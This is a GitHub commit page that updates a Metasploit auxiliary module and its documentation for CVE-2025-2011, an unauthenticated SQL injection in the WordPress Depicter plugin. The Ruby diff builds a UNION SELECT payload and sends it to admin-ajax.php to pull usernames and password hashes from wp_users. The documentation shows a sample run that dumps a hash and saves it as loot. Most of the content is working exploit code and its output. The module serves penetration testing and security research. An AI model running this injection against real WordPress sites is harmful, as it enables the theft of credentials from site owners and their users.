Skip to content

Commit 2820a04

Browse files
committed
Update code to use Wordpress::SQLi mixin ^^
1 parent 70d5fb4 commit 2820a04

File tree

2 files changed

+65
-116
lines changed

2 files changed

+65
-116
lines changed

documentation/modules/auxiliary/gather/wp_depicter_sqli_cve_2025_2011.md

Lines changed: 20 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -106,24 +106,31 @@ The module should:
106106
## Scenarios
107107

108108
```bash
109-
msf6 auxiliary(gather/wp_depicter_sqli_cve_2025_2011) > run http://lab:5555
110-
[*] Retrieving database name via SQLi...
111-
[+] Database name: exploit_market
112-
[*] Enumerating tables for prefix inference...
113-
[+] Tables: wp_commentmeta,wp_comments,wp_depicter_documents,wp_depicter_lead_fields,wp_depicter_leads,wp_depicter_meta,wp_depicter_options,wp_links,wp_options,wp_postmeta,wp_posts,wp_suretriggers_webhook_requests,wp_term_relationships,wp_term_taxonomy,wp_termmeta,wp_terms,wp_ur_membership_ordermeta,wp_ur_membership_orders,wp_ur_membership_subscriptio
114-
[*] Inferred users table: wp_users
115-
[*] Extracting user credentials...
109+
msf6 auxiliary(gather/wp_depicter_sqli_cve_2025_2011) > exploit
110+
[*] Running automatic check ("set AutoCheck false" to disable)
111+
[*] {SQLi} Executing (select 'bEJ')
112+
[*] {SQLi} Encoded to (select 0x62454a)
113+
[+] The target is vulnerable.
114+
[*] {SQLi} Executing (SELECT 15 FROM information_schema.tables WHERE table_name = 'wp_users')
115+
[*] {SQLi} Encoded to (SELECT 15 FROM information_schema.tables WHERE table_name = 0x77705f7573657273)
116+
[*] {WPSQLi} Retrieved default table prefix: 'wp_'
117+
[*] {SQLi} Executing (select group_concat(DCdo) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) DCdo from wp_users limit 1) ofAGxxQl)
118+
[*] {SQLi} Encoded to (select group_concat(DCdo) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xa,0)),ifnull(user_pass,repeat(0x2,0))) as binary) DCdo from wp_users limit 1) ofAGxxQl)
116119
[!] No active DB -- Credential data will not be saved!
117-
[+] Created credential for chocapikk
120+
[+] {WPSQLi} Credential for user 'chocapikk' created successfully.
121+
[*] {WPSQLi} Dumped user data:
118122
wp_users
119123
========
120124

121-
Username Password Hash
122-
-------- -------------
123-
chocapikk $wp$2y$10$rc5oXfNPG.bYSnbYvELKZeGgoQ9.QHcAXG8U/xunfXzsviMQkiPga
125+
user_login user_pass
126+
---------- ---------
127+
chocapikk $wp$2y$10$rc5oXfNPG.bYSnbYvELKZeGgoQ9.QHcAXG8U/xunfXzsviMQkiPga
124128

125-
[+] Loot saved to: /home/chocapikk/.msf4/loot/20250514154441_default_127.0.0.1_wordpress.users_167822.txt
126-
[+] Reporting completed
129+
[+] Loot saved to: /home/chocapikk/.msf4/loot/20250521182202_default_127.0.0.1_wordpress.users_171366.txt
130+
[*] {WPSQLi} Reporting host...
131+
[*] {WPSQLi} Reporting service...
132+
[*] {WPSQLi} Reporting vulnerability...
133+
[+] {WPSQLi} Reporting completed successfully.
127134
[*] Scanned 1 of 1 hosts (100% complete)
128135
[*] Auxiliary module execution completed
129136
```

modules/auxiliary/gather/wp_depicter_sqli_cve_2025_2011.rb

Lines changed: 45 additions & 103 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,11 @@
55

66
class MetasploitModule < Msf::Auxiliary
77
include Msf::Auxiliary::Scanner
8-
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Exploit::Remote::HTTP::Wordpress
9+
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze
913

1014
def initialize(info = {})
1115
super(
@@ -44,118 +48,56 @@ def initialize(info = {})
4448
}
4549
)
4650
)
47-
end
48-
49-
def run_host(_ip)
50-
vprint_status('Retrieving database name via SQLi...')
51-
db_name = extract_value_from_sqli('database()')
52-
fail_with(Failure::UnexpectedReply, 'Failed to extract database name.') unless db_name
53-
vprint_good("Database name: #{db_name}")
54-
55-
print_status('Enumerating tables for prefix inference...')
56-
raw = 'group_concat(table_name) from information_schema.tables where table_schema=database()'
57-
tables_csv = extract_value_from_sqli(raw)
58-
fail_with(Failure::UnexpectedReply, 'Failed to enumerate tables.') unless tables_csv
59-
vprint_good("Tables: #{tables_csv}")
60-
61-
visible_tables = tables_csv.split(',')
62-
prefix = visible_tables.first.split('_').first
63-
users_table = "#{prefix}_users"
64-
vprint_status("Inferred users table: #{users_table}")
65-
66-
print_status('Extracting user credentials...')
67-
limit = datastore['COUNT'].to_i
68-
raw_creds = "group_concat(user_login,0x3a,user_pass SEPARATOR 0x0a) from (select * from #{db_name}.#{users_table} LIMIT #{limit}) as sub"
69-
creds = extract_value_from_sqli(raw_creds)
70-
fail_with(Failure::UnexpectedReply, 'Failed to extract credentials.') unless creds
71-
72-
data = creds.split("\n").map { |u| u.split(':', 2) }
73-
table = Rex::Text::Table.new(
74-
'Header' => users_table,
75-
'Indent' => 4,
76-
'Columns' => ['Username', 'Password Hash']
77-
)
78-
loot_data = ''
79-
data.each do |user|
80-
table << user
81-
loot_data << "Username: #{user[0]}, Password Hash: #{user[1]}\n"
82-
83-
create_credential(
84-
workspace_id: myworkspace_id,
85-
origin_type: :service,
86-
module_fullname: fullname,
87-
username: user[0],
88-
private_type: :nonreplayable_hash,
89-
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
90-
private_data: user[1],
91-
service_name: 'WordPress',
92-
address: datastore['RHOST'],
93-
port: datastore['RPORT'],
94-
protocol: 'tcp',
95-
status: Metasploit::Model::Login::Status::UNTRIED
96-
)
97-
vprint_good("Created credential for #{user[0]}")
98-
end
99-
100-
print_line(table.to_s)
101-
102-
service = report_service(
103-
host: datastore['RHOST'],
104-
port: datastore['RPORT'],
105-
proto: 'tcp',
106-
name: fullname,
107-
info: description.strip
108-
)
109-
110-
loot_path = store_loot(
111-
'wordpress.users',
112-
'text/plain',
113-
datastore['RHOST'],
114-
loot_data,
115-
'wp_users.txt',
116-
'WP Usernames and Password Hashes',
117-
service
118-
)
119-
print_good("Loot saved to: #{loot_path}")
12051

121-
report_host(host: datastore['RHOST'])
122-
report_vuln(
123-
host: datastore['RHOST'],
124-
port: datastore['RPORT'],
125-
proto: 'tcp',
126-
name: fullname,
127-
refs: references,
128-
info: description.strip
129-
)
130-
vprint_good('Reporting completed')
131-
132-
data
52+
register_options([
53+
OptString.new('TARGETURI', [true, 'Base path to the WordPress installation', '/']),
54+
Opt::RPORT(80)
55+
])
13356
end
13457

135-
def extract_value_from_sqli(expr)
136-
expr = expr.to_s.strip.gsub(/\s+/, ' ')
137-
r1, r2, r3, r4, r5 = Array.new(5) { rand(1000..9999) }
138-
injected = "#{r1}') UNION SELECT #{r2},#{r3},(SELECT #{expr}),#{r4},#{r5}-- -"
58+
def get_sqli_object
59+
create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
60+
expr = payload.to_s.strip.gsub(/\s+/, ' ')
61+
r1, r2, r3, r4, r5 = Array.new(5) { rand(1000..9999) }
62+
injected = "#{r1}') UNION SELECT #{r2},#{r3},(#{expr}),#{r4},#{r5}-- -"
13963

140-
res = send_request_cgi(
141-
'method' => 'GET',
142-
'uri' => normalize_uri('wp-admin', 'admin-ajax.php'),
143-
'vars_get' => {
64+
endpoint = normalize_uri('wp-admin', 'admin-ajax.php')
65+
params = {
66+
'action' => 'depicter-lead-index',
14467
's' => injected,
14568
'perpage' => rand(10..50).to_s,
14669
'page' => rand(1..3).to_s,
14770
'orderBy' => 'source_id',
148-
'dateEnd' => '',
149-
'dateStart' => '',
15071
'order' => ['ASC', 'DESC'].sample,
151-
'sources' => '',
152-
'action' => 'depicter-lead-index'
72+
'dateStart' => '',
73+
'dateEnd' => '',
74+
'sources' => ''
15375
}
154-
)
155-
return unless res&.code == 200
76+
res = send_request_cgi(
77+
'method' => 'GET',
78+
'uri' => endpoint,
79+
'vars_get' => params
80+
)
81+
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res&.code == 200
15682

157-
json = res.get_json_document
158-
json.dig('hits', 0, 'content', 'id') ||
159-
json.dig('hits', 0, 'content', 'name')
83+
extracted = res.get_json_document.dig('hits', 0, 'content', 'id')
84+
return GET_SQLI_OBJECT_FAILED_ERROR_MSG if extracted.to_s.empty?
85+
86+
extracted
87+
end
88+
end
89+
90+
def check
91+
@sqli = get_sqli_object
92+
return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
93+
return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable
94+
95+
Exploit::CheckCode::Safe
96+
end
97+
98+
def run_host(_ip)
99+
@sqli ||= get_sqli_object
100+
wordpress_sqli_initialize(@sqli)
101+
wordpress_sqli_get_users_credentials(datastore['COUNT'])
160102
end
161103
end

0 commit comments

Comments
 (0)